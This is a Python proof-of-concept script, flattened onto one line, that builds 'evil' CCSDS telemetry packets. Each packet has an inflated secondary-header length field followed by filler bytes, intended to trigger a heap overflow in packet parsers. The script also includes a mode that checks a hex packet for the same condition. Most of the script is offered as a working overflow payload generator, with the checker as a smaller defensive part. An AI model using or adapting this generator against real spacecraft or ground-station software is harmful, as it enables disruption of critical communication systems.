#!/usr/bin/env python3 import sys import struct def generate_evil_packet(secondary_header_offset: int = 6, length_field_size: int = 2, overflow_amount: int = 1024) -> bytes: """ Generates a malicious TM packet triggering heap overflow. Args: secondary_header_offset: Position of length field (default CCSDS primary header size) length_field_size: Bytes used for length field (default 2) overflow_amount: How many bytes to overflow (minimum 1) Returns: bytes: Generated malicious packet """ packet = b"\x00\x00\x00\x00\x00\x00" # 6-byte primary header # Insert malicious secondary header length evil_length = len(packet) + overflow_amount + length_field_size length_bytes = evil_length.to_bytes(length_field_size, 'big') # Build packet packet = ( packet[:secondary_header_offset] + length_bytes + b"A" * overflow_amount ) return packet def check_packet(packet: bytes, secondary_header_offset: int = 6, length_field_size: int = 2) -> bool: """ Enhanced vulnerability checker with CCSDS awareness. """ total_length = len(packet) if total_length < secondary_header_offset + length_field_size: print("[!] Packet too short for header analysis") return False try: length_data = packet[secondary_header_offset:secondary_header_offset+length_field_size] secondary_header_length = int.from_bytes(length_data, 'big') except Exception as e: print(f"[!] Length field error: {str(e)}") return False # Calculate available space AFTER length field available_space = total_length - (secondary_header_offset + length_field_size) print(f"[*] Total packet length: {total_length} bytes") print(f"[*] Claimed secondary header length: {secondary_header_length} bytes") print(f"[*] Available data space: {available_space} bytes") if secondary_header_length > available_space: print("[+] VULNERABLE - Heap overflow condition detected!") return True else: print("[-] Packet appears normal") return False def main(): if len(sys.argv) not in (2, 3): print(f"Usage: {sys.argv[0]} [overflow_amount]") print("Example:") print(f" {sys.argv[0]} check 1a2b3c4d") print(f" {sys.argv[0]} generate 2048") sys.exit(1) mode = sys.argv[1] if mode == "check": if len(sys.argv) != 3: print("Missing hex packet for check mode") sys.exit(1) try: packet = bytes.fromhex(sys.argv[2]) except ValueError as e: print(f"Invalid hex: {str(e)}") sys.exit(1) # CCSDS-aware parameters check_packet(packet, secondary_header_offset=6, length_field_size=2) elif mode == "generate": overflow = 1024 if len(sys.argv) == 3: try: overflow = int(sys.argv[2]) except ValueError: print("Invalid overflow amount, using default 1024") evil_packet = generate_evil_packet(overflow_amount=overflow) print(f"Generated evil packet (hex): {evil_packet.hex()}") else: print(f"Invalid mode: {mode}") sys.exit(1) if __name__ == "__main__": main()